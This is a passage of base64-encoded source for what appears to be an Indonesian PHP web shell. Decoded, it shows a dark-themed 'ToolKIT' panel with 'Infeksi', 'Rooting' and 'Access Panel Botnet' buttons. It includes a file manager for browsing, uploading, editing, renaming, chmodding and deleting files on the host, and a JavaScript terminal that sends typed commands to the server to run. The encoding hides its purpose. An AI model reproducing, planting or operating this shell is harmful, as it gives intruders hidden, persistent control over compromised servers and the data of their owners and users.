hLS0gTW9kYWwgSW5mZWtzaSAtLT4KICAgICAgICA8IS0tIEJ0biBJbmZla3NpIC0tPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciAgbXQtMiI+CiAgICAgICAgICAgIDxhIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyIgaHJlZj0iIyIgPgogICAgICAgICAgICA8aSBjbGFzcz0nYnggYnhzLXZpcnVzJz48L2k+CiAgICAgICAgICAgIDwvYT48YnI+PGk+SW5mZWtzaTwvaT4KICAgICAgICA8L2Rpdj4KICAgICAgICA8IS0tIEJ0biByb290IC0tPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciAgbXQtMiI+CiAgICAgICAgICAgIDxhIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyIgaHJlZj0iIyI+CiAgICAgICAgICAgIDxpIGNsYXNzPSdieCBieC1oYXNoJz48L2k+IAogICAgICAgICAgICA8L2E+PGJyPjxpPlJvb3Rpbmc8L2k+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPCEtLSBCdG4gYm90IC0tPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciAgbXQtMiI+CiAgICAgICAgICAgIDxhIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyIgaHJlZj0iIyI+CiAgICAgICAgICAgIDxpIGNsYXNzPSdieCBieC1ib3QnPjwvaT4gCiAgICAgICAgICAgIDwvYT48YnI+PGk+QWNjZXNzIFBhbmVsIEJvdG5ldDwvaT4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPCEtLWVuZCBUb29sS0lULS0tPgogICAgPGhyPgoKPD9waHAKCgovLyBNZW5hbXBpbGthbiBmb3JtdWxpciB1bnR1ayB0YW1iYWggZmlsZSwgdGFtYmFoIGZvbGRlciwgZGFuIHVuZ2dhaCBmaWxlCmVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImFkZF9maWxlIj48aW5wdXQgY2xhc3M9IiIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZV9uYW1lIiBwbGFjZWhvbGRlcj0iTmFtYSBmaWxlIj48YnV0dG9uIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiIHR5cGU9InN1Ym1pdCI+VGFtYmFoIEZpbGU8L2J1dHRvbj48L2Zvcm0+JzsKZWNobyAnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iYWRkX2ZvbGRlciI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZvbGRlcl9uYW1lIiBwbGFjZWhvbGRlcj0iTmFtYSBmb2xkZXIiPjxidXR0b24gY2xhc3M9ImJ0biBidG4tc3VjY2VzcyIgdHlwZT0ic3VibWl0Ij5UYW1iYWggRm9sZGVyPC9idXR0b24+PC9mb3JtPic7CmVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSIiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRfZmlsZSI+PGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIiB0eXBlPSJzdWJtaXQiPlVuZ2dhaCBGaWxlPC9idXR0b24+PC9mb3JtPic7Ci8vIE1lbmFtcGlsa2FuIHNldGlhcCBiYWdpYW4gZGFyaSBwYXRoIHNlYmFnYWkgdGF1dGFuIGRlbmdhbiBmb3JtYXQgIi8gcGFydCAvIgplY2hvICc8aDU+UFdEOiAnOwplY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPiAnOwpmb3JlYWNoICgkcGFydHMgYXMgJGluZGV4ID0+ICRwYXJ0KSB7CiAgICBpZiAoJHBhcnQgPT09ICcnKSBjb250aW51ZTsKCiAgICAkcGF0aFNvRmFyIC49IERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkcGFydDsKICAgIGVjaG8gJzxhIGhyZWY9Ij9wYXRoPScgLiB1cmxlbmNvZGUoJHBhdGhTb0ZhcikgLiAnIj4nIC4gJHBhcnQgLiAnPC9hPic7CgogICAgaWYgKCRpbmRleCA8IGNvdW50KCRwYXJ0cykgLSAxKSB7CiAgICAgICAgZWNobyAnIC8gJzsKICAgIH0KfQplY2hvICcgfCAnOwplY2hvICcgPGEgaHJlZj0iPyI+IDxpIHN0eWU9ImZvbnQtc2l6ZTogNjBweDsiIGNsYXNzPSJieCBieC1ob21lIj48L2k+IDwvYT4nOwplY2hvICc8L2g1Pic7Ci8vIE1lbmFtYmFoa2FuIGxpbmsgdW50dWsga2VtYmFsaSBrZSBkaXJla3RvcmkgaW5kdWsKJHBhcmVudERpcmVjdG9yeSA9IGRpcm5hbWUoJGN1cnJlbnREaXJlY3RvcnkpOwppZiAoJGN1cnJlbnREaXJlY3RvcnkgIT09ICRwYXJlbnREaXJlY3RvcnkpIHsKICAgIGVjaG8gJzxhIGhyZWY9Ij9wYXRoPScgLiB1cmxlbmNvZGUoJHBhcmVudERpcmVjdG9yeSkgLiAnIj48aSBjbGFzcz0iYnggYngtY2hldnJvbnMtdXAiPjwvaT48aSBjbGFzcz0iYnggYngtY2hldnJvbnMtdXAiPjwvaT48L2E+PGJyPjxicj4nOwp9Ci8vIE1lbmFtcGlsa2FuIGRhZnRhciBmaWxlIGRhbiBkaXJla3RvcmkKZWNobyAiPHRhYmxlIGJvcmRlcj0nMScgY2VsbHBhZGRpbmc9JzUnPjx0cj48dGg+TmFtYTwvdGg+PHRoPlVrdXJhbjwvdGg+PHRoPlBlcm1pc3Npb248L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPkFrc2k8L3RoPjwvdHI+IjsKJGZvbGRlcnMgPSBbXTsKJGZpbGVzID0gW107CgovLyBQaXNhaGthbiBmb2xkZXIgZGFuIGZpbGUKZm9yZWFjaCAoJGZpbGVzQW5kRGlycyBhcyAkaXRlbSkgewogICAgaWYgKCRpdGVtID09PSAiLiIgfHwgJGl0ZW0gPT09ICIuLiIpIHsKICAgICAgICBjb250aW51ZTsKICAgIH0KICAgICRmdWxsUGF0aCA9ICRjdXJyZW50RGlyZWN0b3J5IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdGVtOwogICAgaWYgKGlzX2RpcigkZnVsbFBhdGgpKSB7CiAgICAgICAgJGZvbGRlcnNbXSA9ICRpdGVtOwogICAgfSBlbHNlIHsKICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOwogICAgfQp9CgovLyBHYWJ1bmdrYW4gZm9sZGVyIGRhbiBmaWxlIHVudHVrIGRpdGFtcGlsa2FuCiRpdGVtcyA9IGFycmF5X21lcmdlKCRmb2xkZXJzLCAkZmlsZXMpOwoKZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7CiAgICAkZnVsbFBhdGggPSAkY3VycmVudERpcmVjdG9yeSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsKICAgICRzaXplID0gaXNfZGlyKCRmdWxsUGF0aCkgPyBnZXRGb2xkZXJTaXplKCRmdWxsUGF0aCkgOiBmaWxlc2l6ZSgkZnVsbFBhdGgpOwogICAgJHBlcm1pc3Npb25zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsUGF0aCkpLCAtNCk7CiAgICAkb3duZXIgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGZ1bGxQYXRoKSk7CiAgICAkZ3JvdXAgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGZ1bGxQYXRoKSk7CiAgICAkb3duZXJOYW1lID0gJG93bmVyWyduYW1lJ107CiAgICAkZ3JvdXBOYW1lID0gJGdyb3VwWyduYW1lJ107CiAgICAkb3duZXJDb2xvciA9ICRvd25lck5hbWUgPT09ICdyb290JyA/ICdyZWQnIDogKCRvd25lck5hbWUgPT09IGdldF9jdXJyZW50X3VzZXIoKSA/ICdncmVlbicgOiAnb3JhbmdlJyk7CgogICAgZWNobyAiPHRyPiI7CiAgICBlY2hvICI8dGQ+IiAuIChpc19kaXIoJGZ1bGxQYXRoKSA/ICc8aSBzdHlsZT0iY29sb3I6IHJnYigxNywgMTcsIDE3KTsiIGNsYXNzPSJieCBieHMtZm9sZGVyLW9wZW4iID48L2k+ICcgOiAnPGkgc3R5bGU9ImNvbG9yOiByZ2IoMTY4LCAxNjgsIDE2OCk7IiBjbGFzcz0iYnggYnhzLWZpbGUiID48L2k+ICcpIC4gIjxhIHN0eWxlPSdjb2xvcjogZ3JlZW47ICcgaHJlZj0nP3BhdGg9IiAuIHVybGVuY29kZSgkZnVsbFBhdGgpIC4gIic+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pIC4gIjwvYT48L3RkPiI7CiAgICBlY2hvICI8dGQ+IiAuICgkc2l6ZSA+PSAxMDI0ID8gcm91bmQoJHNpemUgLyAxMDI0LCAyKSAuICcgS0InIDogJHNpemUgLiAnIEInKSAuICI8L3RkPiI7CiAgICBlY2hvICI8dGQ+JHBlcm1pc3Npb25zPC90ZD4iOwogICAgZWNobyAiPHRkIHN0eWxlPSdjb2xvcjogJG93bmVyQ29sb3I7Jz4kb3duZXJOYW1lLyRncm91cE5hbWU8L3RkPiI7CiAgICBlY2hvICI8dGQ+IjsKICAgIGlmICghaXNfZGlyKCRmdWxsUGF0aCkpIHsKICAgICAgICBlY2hvICI8YSBjbGFzcz0nYnRuIGJ0bi13YXJuaW5nJyBocmVmPScjJyBvbmNsaWNrPSdvcGVuRWRpdE1vZGFsKFwiJGZ1bGxQYXRoXCIpJz48aSBjbGFzcz0nYnggYngtZWRpdCcgPjwvaT48L2E+IHwgIjsKICAgIH0KICAgIGVjaG8gIjxhIGNsYXNzPSdidG4gYnRuLXdhcm5pbmcnIGhyZWY9JyMnIG9uY2xpY2s9J29wZW5SZW5hbWVNb2RhbChcIiRmdWxsUGF0aFwiKSc+PGkgY2xhc3M9J2J4IGJ4cy1yZW5hbWUnPjwvaT48L2E+IHwgIjsKICAgIGVjaG8gIjxhIGNsYXNzPSdidG4gYnRuLXdhcm5pbmcnIGhyZWY9JyMnIG9uY2xpY2s9J29wZW5DaG1vZE1vZGFsKFwiJGZ1bGxQYXRoXCIpJz48aSBjbGFzcz0nYnggYnhzLWxvY2snPjwvaT48L2E+IHwgIjsKICAgIGVjaG8gIjxmb3JtIHN0eWxlPSdkaXNwbGF5OmlubGluZTsnIG1ldGhvZD0ncG9zdCcgYWN0aW9uPScnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2ZpbGUnIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkZnVsbFBhdGgpIC4gIic+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0aW9uJyB2YWx1ZT0nZGVsZXRlJz48YnV0dG9uIGNsYXNzPSdidG4gYnRuLWRhbmdlcicgdHlwZT0nc3VibWl0Jz48aSBjbGFzcz0nYnggYnhzLXRyYXNoJz48L2k+PC9idXR0b24+PC9mb3JtPiI7CiAgICBlY2hvICI8L3RkPiI7CiAgICBlY2hvICI8L3RyPiI7Cn0KCmVjaG8gIjwvdGFibGU+IjsKPz4KCjxzY3JpcHQ+Ci8vIEZ1bmdzaSB1bnR1ayBtZW1idWthIG1vZGFsIGVkaXQKZnVuY3Rpb24gb3BlbkVkaXRNb2RhbChmaWxlKSB7CiAgICBjb25zdCBtb2RhbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0TW9kYWwnKTsKICAgIGNvbnN0IGZpbGVQYXRoSW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdEZpbGVQYXRoJyk7CiAgICBjb25zdCBjb250ZW50QXJlYSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0RmlsZUNvbnRlbnQnKTsKCiAgICBmaWxlUGF0aElucHV0LnZhbHVlID0gZmlsZTsKCiAgICAvLyBGZXRjaCBrb250ZW4gZmlsZSB1bnR1ayBkaWVkaXQKICAgIGZldGNoKGA/ZmV0Y2hfY29udGVudD0ke2VuY29kZVVSSUNvbXBvbmVudChmaWxlKX1gKQogICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLnRleHQoKSkKICAgICAgICAudGhlbihkYXRhID0+IHsKICAgICAgICAgICAgY29udGVudEFyZWEudmFsdWUgPSBkYXRhOwogICAgICAgICAgICBtb2RhbC5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsKICAgICAgICB9KQogICAgICAgIC5jYXRjaChlcnIgPT4gYWxlcnQoJ0dhZ2FsIG1lbXVhdCBrb250ZW4gZmlsZTogJyArIGVycikpOwp9CgovLyBGdW5nc2kgdW50dWsgbWVtYnVrYSBtb2RhbCByZW5hbWUKZnVuY3Rpb24gb3BlblJlbmFtZU1vZGFsKGZpbGUpIHsKICAgIGNvbnN0IG1vZGFsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbmFtZU1vZGFsJyk7CiAgICBjb25zdCBvbGROYW1lSW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lT2xkTmFtZScpOwogICAgb2xkTmFtZUlucHV0LnZhbHVlID0gZmlsZTsKICAgIG1vZGFsLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwp9CgovLyBGdW5nc2kgdW50dWsgbWVtYnVrYSBtb2RhbCBjaG1vZApmdW5jdGlvbiBvcGVuQ2htb2RNb2RhbChmaWxlKSB7CiAgICBjb25zdCBtb2RhbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG1vZE1vZGFsJyk7CiAgICBjb25zdCBmaWxlUGF0aElucHV0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NobW9kRmlsZVBhdGgnKTsKICAgIGZpbGVQYXRoSW5wdXQudmFsdWUgPSBmaWxlOwogICAgbW9kYWwuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW51dHVwIG1vZGFsCmZ1bmN0aW9uIGNsb3NlTW9kYWwobW9kYWxJZCkgewogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobW9kYWxJZCkuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKfQo8L3NjcmlwdD4KCgo8IS0tIE1vZGFsIHVudHVrIEVkaXQgRmlsZSAtLT4KPGRpdiBpZD0iZWRpdE1vZGFsIiBjbGFzcz0ibW9kIiBzdHlsZT0iZGlzcGxheTpub25lOyBwb3NpdGlvbjpmaXhlZDsgdG9wOjIwJTsgbGVmdDozMCU7IGJhY2tncm91bmQtY29sb3I6cmdiKDM3LCAzNywgMzcpOyBwYWRkaW5nOjIwcHg7IGJvcmRlcjoxcHggc29saWQgYmxhY2s7IHotaW5kZXg6MTAwMDsiPgogICAgPGgzPkVkaXQgRmlsZTwvaDM+CiAgICA8cD48c3Ryb25nPkZpbGUgeWFuZyBzZWRhbmcgZGllZGl0Ojwvc3Ryb25nPiA8c3BhbiBpZD0iZWRpdEZpbGVOYW1lIj5OYW1hIEZpbGU8L3NwYW4+PC9wPgogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZWRpdCI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImVkaXRGaWxlUGF0aCIgbmFtZT0iZmlsZSI+CiAgICAgICAgPHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMCwgMCwgMCk7IGNvbG9yOiByZ2IoMTY3LCAxNjcsIDE2Nyk7IiBpZD0iZWRpdEZpbGVDb250ZW50IiBuYW1lPSJjb250ZW50IiByb3dzPSIxMCIgY29scz0iNTAiPjwvdGV4dGFyZWE+PGJyPgogICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc3VjY2VzcyIgdHlwZT0ic3VibWl0Ij5TaW1wYW48L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXdhcm5pbmciIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iY2xvc2VNb2RhbCgnZWRpdE1vZGFsJykiPkJhdGFsPC9idXR0b24+CiAgICA8L2Zvcm0+CjwvZGl2PgoKPCEtLSBNb2RhbCB1bnR1ayBSZW5hbWUgRmlsZS9Gb2xkZXIgLS0+CjxkaXYgaWQ9InJlbmFtZU1vZGFsIiBjbGFzcz0ibW9kIiBzdHlsZT0iZGlzcGxheTpub25lOyBwb3NpdGlvbjpmaXhlZDsgdG9wOjIwJTsgbGVmdDozMCU7IGJhY2tncm91bmQtY29sb3I6cmdiKDM3LCAzNywgMzcpOyBwYWRkaW5nOjIwcHg7IGJvcmRlcjoxcHggc29saWQgYmxhY2s7IHotaW5kZXg6MTAwMDsiPgogICAgPGgzPlJlbmFtZSBGaWxlL0ZvbGRlcjwvaDM+CiAgICA8cD48c3Ryb25nPkZpbGUvRm9sZGVyIHlhbmcgYWthbiBkaWdhbnRpIG5hbWFueWE6PC9zdHJvbmc+IDxzcGFuIGlkPSJyZW5hbWVGaWxlTmFtZSI+TmFtYSBGaWxlL0ZvbGRlcjwvc3Bhbj48L3A+CiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZW5hbWUiPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJyZW5hbWVPbGROYW1lIiBuYW1lPSJvbGRfbmFtZSI+CiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld19uYW1lIiBwbGFjZWhvbGRlcj0iTmFtYSBiYXJ1Ij48YnI+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIiB0eXBlPSJzdWJtaXQiPkdhbnRpIE5hbWE8L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXdhcm5pbmciIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iY2xvc2VNb2RhbCgncmVuYW1lTW9kYWwnKSI+QmF0YWw8L2J1dHRvbj4KICAgIDwvZm9ybT4KPC9kaXY+Cgo8IS0tIE1vZGFsIHVudHVrIENobW9kIC0tPgo8ZGl2IGlkPSJjaG1vZE1vZGFsIiBjbGFzcz0ibW9kIiBzdHlsZT0iZGlzcGxheTpub25lOyBwb3NpdGlvbjpmaXhlZDsgdG9wOjIwJTsgbGVmdDozMCU7IGJhY2tncm91bmQtY29sb3I6cmdiKDM3LCAzNywgMzcpOyBwYWRkaW5nOjIwcHg7IGJvcmRlcjoxcHggc29saWQgYmxhY2s7IHotaW5kZXg6MTAwMDsiPgogICAgPGgzPlViYWggSXppbiBGaWxlL0ZvbGRlcjwvaDM+CiAgICA8cD48c3Ryb25nPkZpbGUvRm9sZGVyIHlhbmcgYWthbiBkaXViYWggaXppbm55YTo8L3N0cm9uZz4gPHNwYW4gaWQ9ImNobW9kRmlsZU5hbWUiPk5hbWEgRmlsZS9Gb2xkZXI8L3NwYW4+PC9wPgogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY2htb2QiPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjaG1vZEZpbGVQYXRoIiBuYW1lPSJmaWxlIj4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGVybWlzc2lvbnMiIHBsYWNlaG9sZGVyPSJJemluIChjb250b2g6IDA3NTUpIj48YnI+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIiB0eXBlPSJzdWJtaXQiPlViYWggSXppbjwvYnV0dG9uPgogICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4td2FybmluZyIgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJjbG9zZU1vZGFsKCdjaG1vZE1vZGFsJykiPkJhdGFsPC9idXR0b24+CiAgICA8L2Zvcm0+CjwvZGl2Pgo8c2NyaXB0PgovLyBGdW5nc2kgdW50dWsgbWVuZ2FtYmlsIG5hbWEgZmlsZS9mb2xkZXIgZGFyaSBwYXRoIGxlbmdrYXAKZnVuY3Rpb24gZ2V0RmlsZU5hbWVGcm9tUGF0aChwYXRoKSB7CiAgICB2YXIgcGFydHMgPSBwYXRoLnNwbGl0KCcvJyk7CiAgICByZXR1cm4gcGFydHNbcGFydHMubGVuZ3RoIC0gMV07Cn0KCi8vZ2V0ZmlsZQpmdW5jdGlvbiBvcGVuRWRpdE1vZGFsKGZpbGVQYXRoKSB7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdE1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdEZpbGVQYXRoJykudmFsdWUgPSBmaWxlUGF0aDsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0RmlsZU5hbWUnKS5pbm5lclRleHQgPSBnZXRGaWxlTmFtZUZyb21QYXRoKGZpbGVQYXRoKTsKCiAgICAvLyBNZW5nYW1iaWwga29udGVuIGZpbGUgbWVuZ2d1bmFrYW4gQUpBWAogICAgdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgeGhyLm9wZW4oJ0dFVCcsICc/ZmlsZT0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGZpbGVQYXRoKSwgdHJ1ZSk7CiAgICB4aHIub25sb2FkID0gZnVuY3Rpb24gKCkgewogICAgICAgIGlmICh4aHIuc3RhdHVzID09PSAyMDApIHsKICAgICAgICAgICAgY29uc29sZS5sb2coJ1Jlc3BvbiBkYXJpIHNlcnZlcjonLCB4aHIucmVzcG9uc2VUZXh0KTsgLy8gRGVidWdnaW5nCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0RmlsZUNvbnRlbnQnKS52YWx1ZSA9IHhoci5yZXNwb25zZVRleHQ7IC8vIFRhbXBpbGthbiBrb250ZW4gZmlsZQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGFsZXJ0KCdHYWdhbCBtZW11YXQga29udGVuIGZpbGUuJyk7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0RmlsZUNvbnRlbnQnKS52YWx1ZSA9ICcnOyAvLyBLb3NvbmdrYW4gamlrYSBnYWdhbAogICAgICAgIH0KICAgIH07CiAgICB4aHIuc2VuZCgpOwp9CgoKCgovLyBGdW5nc2kgdW50dWsgbWVtYnVrYSBtb2RhbCBSZW5hbWUgRmlsZS9Gb2xkZXIKZnVuY3Rpb24gb3BlblJlbmFtZU1vZGFsKG9sZE5hbWUpIHsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWVNb2RhbCcpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbmFtZU9sZE5hbWUnKS52YWx1ZSA9IG9sZE5hbWU7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lRmlsZU5hbWUnKS5pbm5lclRleHQgPSBnZXRGaWxlTmFtZUZyb21QYXRoKG9sZE5hbWUpOyAvLyBNZW5hbXBpbGthbiBoYW55YSBuYW1hIGZpbGUvZm9sZGVyCn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW1idWthIG1vZGFsIENobW9kCmZ1bmN0aW9uIG9wZW5DaG1vZE1vZGFsKGZpbGVQYXRoKSB7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2htb2RNb2RhbCcpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NobW9kRmlsZVBhdGgnKS52YWx1ZSA9IGZpbGVQYXRoOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NobW9kRmlsZU5hbWUnKS5pbm5lclRleHQgPSBnZXRGaWxlTmFtZUZyb21QYXRoKGZpbGVQYXRoKTsgLy8gTWVuYW1waWxrYW4gaGFueWEgbmFtYSBmaWxlL2ZvbGRlcgp9CgovLyBGdW5nc2kgdW50dWsgbWVudXR1cCBtb2RhbApmdW5jdGlvbiBjbG9zZU1vZGFsKG1vZGFsSWQpIHsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG1vZGFsSWQpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7Cn0KPC9zY3JpcHQ+CjwhLS0gU0MgLS0+CjxzY3JpcHQ+CmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb21tYW5kJykuYWRkRXZlbnRMaXN0ZW5lcigna2V5cHJlc3MnLCBmdW5jdGlvbiAoZSkgewogICAgaWYgKGUua2V5ID09PSAnRW50ZXInKSB7CiAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgICB2YXIgY29tbWFuZCA9IHRoaXMudmFsdWU7CiAgICAgICAgdmFyIG91dHB1dERpdiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvdXRwdXQnKTsKICAgICAgICB2YXIgcHJvbXB0RGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CiAgICAgICAgcHJvbXB0RGl2LmlubmVySFRNTCA9ICc8c3BhbiBjbGFzcz0icHJvbXB0Ij4+IDwvc3Bhbj4nICsgY29tbWFuZDsKICAgICAgICBvdXRwdXREaXYuYXBwZW5kQ2hpbGQocHJvbXB0RGl2KTsKCiAgICAgICAgLy8gS2lyaW0gcGVyaW50YWgga2Ugc2VydmVyIHVudHVrIGRpZWtzZWt1c2kKICAgICAgICBmZXRjaCgnJywgewogICAgICAgICAgICBtZXRob2Q6ICdQT1NUJywKICAgICAgICAgICAgaGVhZGVyczogewogICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIGJvZHk6ICdjb21tYW5kPScgKyBlbmNvZGVVUklDb21wb25lbnQoY29tbWFuZCkKICAgICAgICB9KQogICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLnRleHQoKSkKICAgICAgICAudGhlbihyZXN1bHQgPT4gewogICAgICAgICAgICB2YXIgcmVzdWx0RGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CiAgICAgICAgICAgIHZhciBwcmVFbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgncHJlJyk7CiAgICAgICAgICAgIHByZUVsZW1lbnQudGV4dENvbnRlbnQgPSByZXN1bHQ7IC8vIE1lbmdndW5ha2FuIDxwcmU+IHVudHVrIG1lbmphZ2EgZm9ybWF0CiAgICAgICAgICAgIHJlc3VsdERpdi5hcHBlbmRDaGlsZChwcmVFbGVtZW50KTsKICAgICAgICAgICAgcmVzdWx0RGl2LmNsYXNzTGlzdC5hZGQoJ3RleHQtbGlnaHQnKTsKICAgICAgICAgICAgb3V0cHV0RGl2LmFwcGVuZENoaWxkKHJlc3VsdERpdik7CgogICAgICAgICAgICAvLyBTY3JvbGwgb3RvbWF0aXMga2UgYmF3YWggc2V0ZWxhaCBvdXRwdXQgZGl0YW1iYWhrYW4KICAgICAgICAgICAgb3V0cHV0RGl2LnNjcm9sbFRvcCA9IG91dHB1dERpdi5zY3JvbGxIZWlnaHQ7CiAgICAgICAgfSk7CgogICAgICAgIHRoaXMudmFsdWUgPSAnJzsgLy8gUmVzZXQgaW5wdXQKICAgIH0KfSk7Cgpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJywgZnVuY3Rpb24gKCkgewogICAgY29uc3QgZWRpdEJ1dHRvbnMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuZWRpdC1idG4nKTsKICAgIGVkaXRCdXR0b25zLmZvckVhY2goYnV0dG9uID0+IHsKICAgICAgICBidXR0b24uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgIGNvbnN0IGZpbGVOYW1lID0gdGhpcy5nZXRBdHRyaWJ1dGUoJ2RhdGEtaXRlbScpOwogICAgICAgICAgICBjb25zdCBmaWxlQ29udGVudCA9IHRoaXMuZ2V0QXR0cmlidXRlKCdkYXRhLWNvbnRlbnQnKTsKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21vZGFsLWZpbGUtbmFtZScpLnZhbHVlID0gZmlsZU5hbWU7C